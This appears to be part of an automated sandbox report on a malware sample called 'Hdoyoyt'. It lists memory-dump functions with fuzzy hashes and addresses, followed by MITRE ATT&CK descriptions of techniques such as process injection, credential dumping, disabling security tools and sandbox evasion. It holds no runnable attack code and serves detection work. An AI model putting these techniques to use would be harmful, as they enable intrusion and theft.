Opcode Fuzzy Hash: 4500dc3f31e8d1a203d57c0203a6c64191507c2d48f8567a7fa3c8b08a5ef1af
Instruction Fuzzy Hash: EF51C930B20204DBEF64667CD95473F365ED789310F20093AD90AD3798CAADCC8597E2

Function 067554B8 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2905641006.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6750000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d467a74e76cf7ee84c416fd515b3e859a9a5042a12ecbeaf4e4127ecfbc6e67
Instruction ID: a9da46a42bb5d7c3c00aff2148273791d92b516893068aa7d563a43bab8e6855
Opcode Fuzzy Hash: 4d467a74e76cf7ee84c416fd515b3e859a9a5042a12ecbeaf4e4127ecfbc6e67
Instruction Fuzzy Hash: 7241AC71E006098FEB70CFA9D880ABFFBB2EB84310F11496AE516D7650D370E9958B91

Function 06752140 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2905641006.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6750000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1501c890eeb2300927ffd0c1e66ef737d10efe40ce2baca4edd58b5e6d959f2b
Instruction ID: 9146e1e56632b1ba4437bb4e0a195078a5fdd6723064d9df0197d281bd16f976
Opcode Fuzzy Hash: 1501c890eeb2300927ffd0c1e66ef737d10efe40ce2baca4edd58b5e6d959f2b
Instruction Fuzzy Hash: 0F31D035E102099FCB04CFA5D854AAFBBF2BF89300F148528E816E7345DBB0AD46CB40

Function 06752150 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2905641006.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6750000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e578e158da02ef0cb4fb0d36deb819b712e363c0f28ed0770976384746e1b2eb
Instruction ID: 9f914cfb6bccd5b0eed5c406766bc362c03d6e80d74c60ed56858921adfa5434
Opcode Fuzzy Hash: e578e158da02ef0cb4fb0d36deb819b712e363c0f28ed0770976384746e1b2eb
Instruction Fuzzy Hash: 2531CE30E1020A9BCB48CFA5D854AAFB7F2BF88310F108528E816E7344DBB0AD46CB40

Function 06753B41 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2905641006.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6750000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bff18e8691f22996e905f7c968b8ab19f8820b3acd237f2ae2d954b022b5623
Instruction ID: 6667d27887a1f8ee14934d3d4ad2e987016b50d01831231ce1ff4cb3b69b69a5
Opcode Fuzzy Hash: 0bff18e8691f22996e905f7c968b8ab19f8820b3acd237f2ae2d954b022b5623
Instruction Fuzzy Hash: 3921AC79F01215AFDB10DF78D980AAEBBF5EB48760F018065E905EB390E770D9418BA5

Function 06753B50 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2905641006.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6750000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11c96403dc7474b406a3b4a4138fa1ffce783c6d28b0c62dab5a49a762b641f1
Instruction ID: fc9236935d484f968d753ca1ad5ebc27e9eb29f28498cfcf9f480eeda1d2bdf9
Opcode Fuzzy Hash: 11c96403dc7474b406a3b4a4138fa1ffce783c6d28b0c62dab5a49a762b641f1
Instruction Fuzzy Hash: 0C21A975F012159FDB40DFA9D980AAEBBF1EB48760F118069E905EB3A0E770D9018BA4

Function 00F5D005 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2867222171.0000000000F5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f5d000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9ce27b1f3f9f23f0ed712c3f7265ed3f4d58ff7843e3676ddfe330d80ccc88f
Instruction ID: 18f787f55a98b817aef3c818f8e945f7c8efb48c6bd5d776ef7850caa12a3b2b
Opcode Fuzzy Hash: e9ce27b1f3f9f23f0ed712c3f7265ed3f4d58ff7843e3676ddfe330d80ccc88f
Instruction Fuzzy Hash: AA21607150E3C09FC713CB24D994711BF75EB46214F29C5EBD9898F2A7C23A980ADB62

Function 00F5D030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2867222171.0000000000F5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f5d000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65823b03e118ff0cb55ffa77abbc76d6cc6ab9d27e6e7997a7c1c0f54d9aedeb
Instruction ID: 75ef083952cdbf809fbb6010f78d50d0ad5f97e55a4cb88e93c81aa527711d70
Opcode Fuzzy Hash: 65823b03e118ff0cb55ffa77abbc76d6cc6ab9d27e6e7997a7c1c0f54d9aedeb
Instruction Fuzzy Hash: AF210471505204DFDB24DF14D9C0B26BBA5FB84325F24C56DDE0A4B39AC33AD84BDA62

Function 0675EE08 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2905641006.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6750000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18dd46203b7e59ba4c1720678b6c7d9e60e23d80af85cae6dac1d491150f3293
Instruction ID: f1b093b4168c1b92a85b833a71572ea122979a524a6d76621c1ef5e4724f5d78
Opcode Fuzzy Hash: 18dd46203b7e59ba4c1720678b6c7d9e60e23d80af85cae6dac1d491150f3293
Instruction Fuzzy Hash: E8118C31F145801BDB218639A4A4B6FBBEADBC6600F0544ADF409CB386DE60DD0283DA

Function 067542A0 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2905641006.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6750000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce3d3f493ac08aeed3ea7e93e2c55253ef73fe807267cae9a7df5ac64b77849d
Instruction ID: 370305f4090ac09b7119c8970682b95a3f97b66280fe7b5eece058309320207b
Opcode Fuzzy Hash: ce3d3f493ac08aeed3ea7e93e2c55253ef73fe807267cae9a7df5ac64b77849d
Instruction Fuzzy Hash: 1201F5307041542FCB61C77DA854B2BBBEBDBCA714F11847AF90ACB759D991CC4283A5

Function 06753C60 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2905641006.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6750000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1c5246fb6e74c21d465ea7feca9c97179a5ea295eeb1d11cdeefe05f11d2120
Instruction ID: a14a640422d49cc22ea9e4ba47b05ff69098e0b5b66ec9e57d1a63cebf0d9cc6
Opcode Fuzzy Hash: a1c5246fb6e74c21d465ea7feca9c97179a5ea295eeb1d11cdeefe05f11d2120
Instruction Fuzzy Hash: 0911E131B001254FDB949A78D814AAF73BAEBC8250F058179C80AE7394EE60DC028BD1

Function 06753918 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2905641006.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6750000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1486f1403b9024068a8336ad40e5ea11939bfe77d13e29bdea77207bda939408
Instruction ID: 27971bdcc1f6da9bcd1269371f825504b82bc138e6258e83d8999040b490cbda
Opcode Fuzzy Hash: 1486f1403b9024068a8336ad40e5ea11939bfe77d13e29bdea77207bda939408
Instruction Fuzzy Hash: 632124B1D01219AFCB00DF9AD884ACEFFB8FB48324F10812AE918B7200D774A540CFA5

Function 0675A377 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2905641006.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6750000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad3d208431534c695439f6b45ad143de47be89665b3dc55768bcc70931f7166a
Instruction ID: 3d88c0322f29f751955930eeccc894f8c660d6632b5ca3919720a5b6b2805ca8
Opcode Fuzzy Hash: ad3d208431534c695439f6b45ad143de47be89665b3dc55768bcc70931f7166a
Instruction Fuzzy Hash: E4012430B041100FCB61EA3DE860B2BBBE6EB4A314F008579F50AC7341DE60DD4287A1

Function 06753C4F Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2905641006.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6750000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c39b90c383dd7ced260b4eedf7c61bcaa1ab311749e6963a21612646402ef33c
Instruction ID: 977ec7fdf9062ad29f2db3492d08b701a84ff70de7d2cca57ad4e24109be759d
Opcode Fuzzy Hash: c39b90c383dd7ced260b4eedf7c61bcaa1ab311749e6963a21612646402ef33c
Instruction Fuzzy Hash: 1201D431B040252BDB9495699C14AEF76AF9BC8654F05417AD80AD3280EFA08C0287E2

Function 06753920 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2905641006.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6750000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9337dd7ba7fbd5ddc8ef0c13af839836126b7fa41eccfe348516b895865af4ef
Instruction ID: d34ffaa0235a429aecdaab6b815a877b98386d0e7cd8f73c4c427cd53678415d
Opcode Fuzzy Hash: 9337dd7ba7fbd5ddc8ef0c13af839836126b7fa41eccfe348516b895865af4ef
Instruction Fuzzy Hash: 0411D3B1D01219AFCB00DF9AD884ADEFFB8FB48324F10812AE918A7250D374A544CFA5

Function 067542B0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2905641006.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6750000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 864e83373097c82367adaa12c43529a2d33ec8b5598f6e8d1ccb055ea54e95f2
Instruction ID: a884fc3b8f3d22777662269312dc6e25fdbf3ff693a8ae6de80219cd2b91ae77
Opcode Fuzzy Hash: 864e83373097c82367adaa12c43529a2d33ec8b5598f6e8d1ccb055ea54e95f2
Instruction Fuzzy Hash: 4C018131B000151BDB64967EA454B2FB7DBEBC9724F108439E60ED7758EEA2DC428399

Function 0675EE18 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2905641006.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6750000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0b7541969e0488686488edcaa3b07e8a4d777c1d2a3402a081be5fa6ce611b7
Instruction ID: 704f1c34e374ee66a0f5cebc12ab4b45dda8838f04468ae0a7bf19d8333ed910
Opcode Fuzzy Hash: a0b7541969e0488686488edcaa3b07e8a4d777c1d2a3402a081be5fa6ce611b7
Instruction Fuzzy Hash: 1801AF35B204111BEB64963DA460B3F67DBDBC9A10F148839EA0EC7344EEA1ED0247C5

Function 0675A388 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2905641006.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6750000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb1713a04a75e4ab36fa6611c5b7857f1f08e5a72811d1893721ebb324042469
Instruction ID: a1f9ea738f1529406a8c018d08c7919f5f422734e522d04debae0d24d0b08391
Opcode Fuzzy Hash: eb1713a04a75e4ab36fa6611c5b7857f1f08e5a72811d1893721ebb324042469
Instruction Fuzzy Hash: C101A434B101144FCB60EA7DE560B2F77D6E789718F108578E50EC7344DE61DC428795

Function 067564E8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2905641006.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6750000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f869a781a19ddb2fdbbf820b61878a823f8d75eef27ae5b90206c35b272f271
Instruction ID: 92eaf4f6eaedcd78d2381d87677ea44b90aef814ecdd4af0a3a67773a2d49b4a
Opcode Fuzzy Hash: 5f869a781a19ddb2fdbbf820b61878a823f8d75eef27ae5b90206c35b272f271
Instruction Fuzzy Hash: 12E09270E092886FDF51CA708D09BAB7BBEDB42214F6149E5E944C7153E2B5CE4187E1

Non-executed Functions

Function 06757710 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$^q, xrefs: 06757C77
$^q, xrefs: 06757C8D
$^q, xrefs: 06757C83
$^q, xrefs: 0675781B
$^q, xrefs: 06757BE4
$^q, xrefs: 06757C99
$^q, xrefs: 0675784C
$^q, xrefs: 06757BD8
$^q, xrefs: 06757858
$^q, xrefs: 06757827

Memory Dump Source

Source File: 0000000A.00000002.2905641006.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6750000_Hdoyoyt.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2222239885
Opcode ID: d61af0904fbf1433d73dfceb740556824aa628565f21e893e09bf7bcd79dbd90
Instruction ID: bb5b7bfaacd48a2b5f621c98f7855ca68a792028730364736bd6c5027634a44c
Opcode Fuzzy Hash: d61af0904fbf1433d73dfceb740556824aa628565f21e893e09bf7bcd79dbd90
Instruction Fuzzy Hash: E0123C34E00219CFDB68DF69C954AADB7F2BF85304F2189A9D40AAB354DB709D85CF81

Function 0675A9B0 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$^q, xrefs: 0675AB38
$^q, xrefs: 0675AAA6
$^q, xrefs: 0675AB01
$^q, xrefs: 0675AB6E
$^q, xrefs: 0675AB2C
$^q, xrefs: 0675AB62
$^q, xrefs: 0675AB0D
$^q, xrefs: 0675AAB2

Memory Dump Source

Source File: 0000000A.00000002.2905641006.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6750000_Hdoyoyt.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: 39b05aad90a4ee1bd5492254504ec4f2ba91d0502b5486e39542c5b91cd921d1
Instruction ID: 1ecf2496a5e8d63df04334b6b48724e53431acb1977cc6fc98a3c37ccf4319ca
Opcode Fuzzy Hash: 39b05aad90a4ee1bd5492254504ec4f2ba91d0502b5486e39542c5b91cd921d1
Instruction Fuzzy Hash: AF914E34E00209DFEB64EF69DA54B6EB7F2AF44304F118679D8029B394DBB49D45CB90

Function 06757110 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

.5vq, xrefs: 0675716B
$^q, xrefs: 06757624
$^q, xrefs: 0675744C
$^q, xrefs: 067575AC
$^q, xrefs: 06757458
$^q, xrefs: 06757618
$^q, xrefs: 067573F2

Memory Dump Source

Source File: 0000000A.00000002.2905641006.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6750000_Hdoyoyt.jbxd

Similarity

API ID:
String ID: .5vq$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-390881366
Opcode ID: a8b834d9ba060fb43f75a547b4a1462ef7ae3b54dd8a6136ab347e8c84e60e5d
Instruction ID: a3c913bf866dd424afd19fcf7dad59e6df8f8de0c56f45772901f536b567d091
Opcode Fuzzy Hash: a8b834d9ba060fb43f75a547b4a1462ef7ae3b54dd8a6136ab347e8c84e60e5d
Instruction Fuzzy Hash: 18F11E34A00208CFDB59EFB8D594A6EBBB2FF85304F258568D806AB358DB71DC46CB51

Function 06758448 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$^q, xrefs: 06758713
$^q, xrefs: 067586AE
$^q, xrefs: 06758707
$^q, xrefs: 067586A2

Memory Dump Source

Source File: 0000000A.00000002.2905641006.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6750000_Hdoyoyt.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 70c858d1352d2cd786048dbf5522b1147c32d86f9a2d24b3b6715d49c0074e86
Instruction ID: 171afabf6ce9558d8ef818ec7a9d2eb34d1d102a11dda8c7b80dd7777f592f9c
Opcode Fuzzy Hash: 70c858d1352d2cd786048dbf5522b1147c32d86f9a2d24b3b6715d49c0074e86
Instruction Fuzzy Hash: 66B14B34A102188FDB54EFB8D58466EB7F2EF84300F258969D406EB355DBB4DC82CB82

Function 0675AD38 Relevance: 5.2, Strings: 4, Instructions: 171COMMON

Download Yara Rule

Strings

$^q, xrefs: 0675AE69
$^q, xrefs: 0675AF14
$^q, xrefs: 0675AEEB
$^q, xrefs: 0675AEBC

Memory Dump Source

Source File: 0000000A.00000002.2905641006.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6750000_Hdoyoyt.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: d462935c4d69cbc231bc31d04e139d13db288bd649d56b1a30a585f12910d534
Instruction ID: e3c4d1d1ddeb5c1f8504d23894360c0eea4d8601f9910bd26ba56be8f0e32ba2
Opcode Fuzzy Hash: d462935c4d69cbc231bc31d04e139d13db288bd649d56b1a30a585f12910d534
Instruction Fuzzy Hash: 56518034E102059FCFA5EA68D580A6EB7F2EB85301F2586B9D806DB358DBB1DC41CF91

Function 06758860 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

LR^q, xrefs: 067589A2
$^q, xrefs: 067588EB
LR^q, xrefs: 06758953
$^q, xrefs: 067588DF

Memory Dump Source

Source File: 0000000A.00000002.2905641006.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6750000_Hdoyoyt.jbxd

Similarity

API ID:
String ID: LR^q$LR^q$$^q$$^q
API String ID: 0-2454687669
Opcode ID: 9438752a1563aa3bb18d9d428777c49accd7c42b119d9bbf7c99ca1df97f2653
Instruction ID: f658b4b5525ceeba089e2b5478b62d7e04cbb52208a2e44d078bc0f02b3c95aa
Opcode Fuzzy Hash: 9438752a1563aa3bb18d9d428777c49accd7c42b119d9bbf7c99ca1df97f2653
Instruction Fuzzy Hash: 2A51D630B102158FDB58DB78D984A6AB7F2FF84704F1185A8E8069F3A5DB70EC45CB92

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
